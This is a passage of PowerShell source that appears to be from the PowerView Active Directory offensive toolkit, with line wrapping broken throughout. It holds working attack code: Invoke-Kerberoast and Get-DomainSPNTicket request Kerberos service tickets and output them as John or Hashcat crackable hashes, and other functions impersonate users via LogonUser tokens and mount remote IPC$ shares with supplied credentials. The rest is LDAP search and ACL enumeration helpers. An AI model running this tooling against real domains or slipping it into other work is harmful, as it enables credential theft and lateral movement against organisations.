}
elseif ($PSBoundParameters['Domain']) {
$ADSInitType = 1
$InitName = $Domain
}
elseif ($PSBoundParameters['Credential']) {
$Cred = $Credential.GetNetworkCredential()
$ADSInitType = 1
$InitName = $Cred.Domain
}
else {

$ADSInitType = 3
$InitName = $Null
}
}

PROCESS {
ForEach ($TargetIdentity in $Identity) {
if (-not $PSBoundParameters['OutputType']) {
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
$ADSOutputType = $NameTypes['DomainSimple']
}
else {
$ADSOutputType = $NameTypes['NT4']
}
}
else {
$ADSOutputType = $NameTypes[$OutputType]
}

$Translate = New-Object -ComObject NameTranslate

if ($PSBoundParameters['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()

Invoke-Method $Translate 'InitEx' (


$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation
for '$Identity' using alternate credentials : $_"
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation
for '$Identity' : $_"
}
}

Set-Property $Translate 'ChaseReferral' (0x60)

try {

$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)


Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity'
: $($_.Exception.InnerException.Message)"
}
}
}
}

function ConvertFrom-UACValue {

[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,

[Switch]
$ShowAll
)

BEGIN {

$UACValues = New-Object System.Collections.Specialized.OrderedDictionary


$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}

PROCESS {
$ResultUACValues = New-Object
System.Collections.Specialized.OrderedDictionary

if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}

function Get-PrincipalContext {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement

try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {

$ConvertedIdentity = $Identity | Convert-ADName -OutputType


Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0,
$ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain
'$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}

if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName
System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList
([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget,
$Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName
System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList
([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName
System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList
([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName,
$Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName
System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList
([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}

$Out = New-Object PSObject


$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object
('$Identity') context : $_"
}
}

function Add-RemoteConnection {

[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName =
'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName =
$True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,

[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]


[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,

[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)

BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}

PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}

ForEach ($TargetPath in $Paths) {


$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"

$Result = $Mpr::WNetAddConnection2W($NetResourceInstance,
$Credential.GetNetworkCredential().Password, $Credential.UserName, 4)

if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $
(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}

function Remove-RemoteConnection {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName =
'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName =
$True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,

[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]


[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)

PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}

ForEach ($TargetPath in $Paths) {


Write-Verbose "[Remove-RemoteConnection] Attempting to unmount:
$TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)

if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $
(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {

[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,

[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]


[ValidateNotNull()]
[IntPtr]
$TokenHandle,

[Switch]
$Quiet
)

if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -


and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently
in a single-threaded apartment state, token impersonation may not work."
}

if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user:
$($UserDomain)\$($UserName)"

$Result = $Advapi32::LogonUser($UserName, $UserDomain,


$NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError =
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error();

if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
}
}

$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)

if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
}

Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully


impersonated"
$LogonTokenHandle
}

function Invoke-RevertToSelf {

[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)

if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and
closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}

$Result = $Advapi32::RevertToSelf();$LastError =
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error();

if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
}

Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"


}

function Get-DomainSPNTicket {

[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True,
ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,

[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True,


ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,

[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}

ForEach ($Object in $TargetObject) {


if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}

if ($UserSPN -is
[System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}

try {
$Ticket = New-Object
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for
SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject

$TicketHexStream =
[System.BitConverter]::ToString($TicketByteStream) -replace '-'

$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName


$Out | Add-Member Noteproperty 'DistinguishedName'
$DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName'
$Ticket.ServicePrincipalName
if($TicketHexStream -match 'a382....3082....A0030201(?
<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen,
16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)

if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne
'A482') {
Write-Warning "Error parsing ciphertext for the SPN $
($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the
hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream'
([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$
($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $
($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the
hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream'
([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}

if($Hash) {

if ($OutputFormat -match 'John') {


$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):
$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain =
$DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}

$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$
$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}

$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Invoke-Kerberoast {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter'])
{ $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase'])
{ $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone']
= $Tombstone }
if ($PSBoundParameters['Credential'])
{ $UserSearcherArguments['Credential'] = $Credential }

if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] =
$Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne
'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-PathAcl {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('FullName')]
[String[]]
$Path,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {

function Convert-FileRight {

[CmdletBinding()]
Param(
[Int]
$FSR
)

$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}

$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}

$Permissions = @()

$Permissions += $SimplePermissions.Keys | ForEach-Object {


if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
}
}

$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } |


ForEach-Object { $AccessMask[$_] }
($Permissions | Where-Object {$_}) -join ','
}

$ConvertArguments = @{}
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] =
$Credential }

$MappedComputers = @{}
}

PROCESS {
ForEach ($TargetPath in $Path) {
try {
if (($TargetPath -Match '\\\\.*\\.*') -and
($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {

Add-RemoteConnection -ComputerName $HostComputer -


Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}

$ACL = Get-Acl -Path $TargetPath

$ACL.GetAccessRules($True, $True,
[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
$SID = $_.IdentityReference.Value
$Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments

$Out = New-Object PSObject


$Out | Add-Member Noteproperty 'Path' $TargetPath
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-
FileRight -FSR $_.FileSystemRights.value__)
$Out | Add-Member Noteproperty 'IdentityReference' $Name
$Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType'
$_.AccessControlType
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
catch {
Write-Verbose "[Get-PathAcl] error: $_"
}
}
}

END {
$MappedComputers.Keys | Remove-RemoteConnection
}
}

function Convert-LDAPProperty {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)

$ObjectProperties = @{}

$Properties.PropertyNames | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {

$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-


Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -eq 'objectguid') {

$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_]


[0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {

$Descriptor = New-Object
Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
if ($Descriptor.Owner) {
$ObjectProperties['Owner'] = $Descriptor.Owner
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] =
$Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] =
[datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_
-eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {

if ($Properties[$_][0] -is [System.MarshalByRefObject]) {

$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart',
[System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart',
[System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]
("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {

$ObjectProperties[$_] =
([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {

$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart',
[System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart',
[System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High,
$Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}

function Get-DomainSearcher {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit = 120,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,
[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain

if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {

$UserDomain = $ENV:USERDNSDOMAIN
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and
$UserDomain) {
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').
$UserDomain"
}
}
}
elseif ($PSBoundParameters['Credential']) {

$DomainObject = Get-Domain -Credential $Credential


$BindServer = ($DomainObject.PdcRoleOwner).Name
$TargetDomain = $DomainObject.Name
}
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {

$TargetDomain = $ENV:USERDNSDOMAIN
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and
$TargetDomain) {
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"
}
}
else {

write-verbose "get-domain"
$DomainObject = Get-Domain
$BindServer = ($DomainObject.PdcRoleOwner).Name
$TargetDomain = $DomainObject.Name
}

if ($PSBoundParameters['Server']) {

$BindServer = $Server
}

$SearchString = 'LDAP://'

if ($BindServer -and ($BindServer.Trim() -ne '')) {


$SearchString += $BindServer
if ($TargetDomain) {
$SearchString += '/'
}
}
if ($PSBoundParameters['SearchBasePrefix']) {
$SearchString += $SearchBasePrefix + ','
}

if ($PSBoundParameters['SearchBase']) {
if ($SearchBase -Match '^GC://') {

$DN = $SearchBase.ToUpper().Trim('/')
$SearchString = ''
}
else {
if ($SearchBase -match '^LDAP://') {
if ($SearchBase -match "LDAP://.+/.+") {
$SearchString = ''
$DN = $SearchBase
}
else {
$DN = $SearchBase.SubString(7)
}
}
else {
$DN = $SearchBase
}
}
}
else {

if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {


$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
}
}

$SearchString += $DN
Write-Verbose "[Get-DomainSearcher] search base: $SearchString"

if ($Credential -ne [Management.Automation.PSCredential]::Empty) {


Write-Verbose "[Get-DomainSearcher] Using alternate credentials for
LDAP connection"

$DomainObject = New-Object
DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName,
$Credential.GetNetworkCredential().Password)
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher($DomainObject)
}
else {

$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
}

$Searcher.PageSize = $ResultPageSize
$Searcher.SearchScope = $SearchScope
$Searcher.CacheResults = $False
$Searcher.ReferralChasing =
[System.DirectoryServices.ReferralChasingOption]::All

if ($PSBoundParameters['ServerTimeLimit']) {
$Searcher.ServerTimeLimit = $ServerTimeLimit
}

if ($PSBoundParameters['Tombstone']) {
$Searcher.Tombstone = $True
}

if ($PSBoundParameters['LDAPFilter']) {
$Searcher.filter = $LDAPFilter
}

if ($PSBoundParameters['SecurityMasks']) {
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
'None' { [System.DirectoryServices.SecurityMasks]::None }
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
}
}

if ($PSBoundParameters['Properties']) {

$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }


$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
}

$Searcher
}
}

function Convert-DNSRecord {

[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName
= $True)]
[Byte[]]
$DNSRecord
)

BEGIN {
function Get-Name {

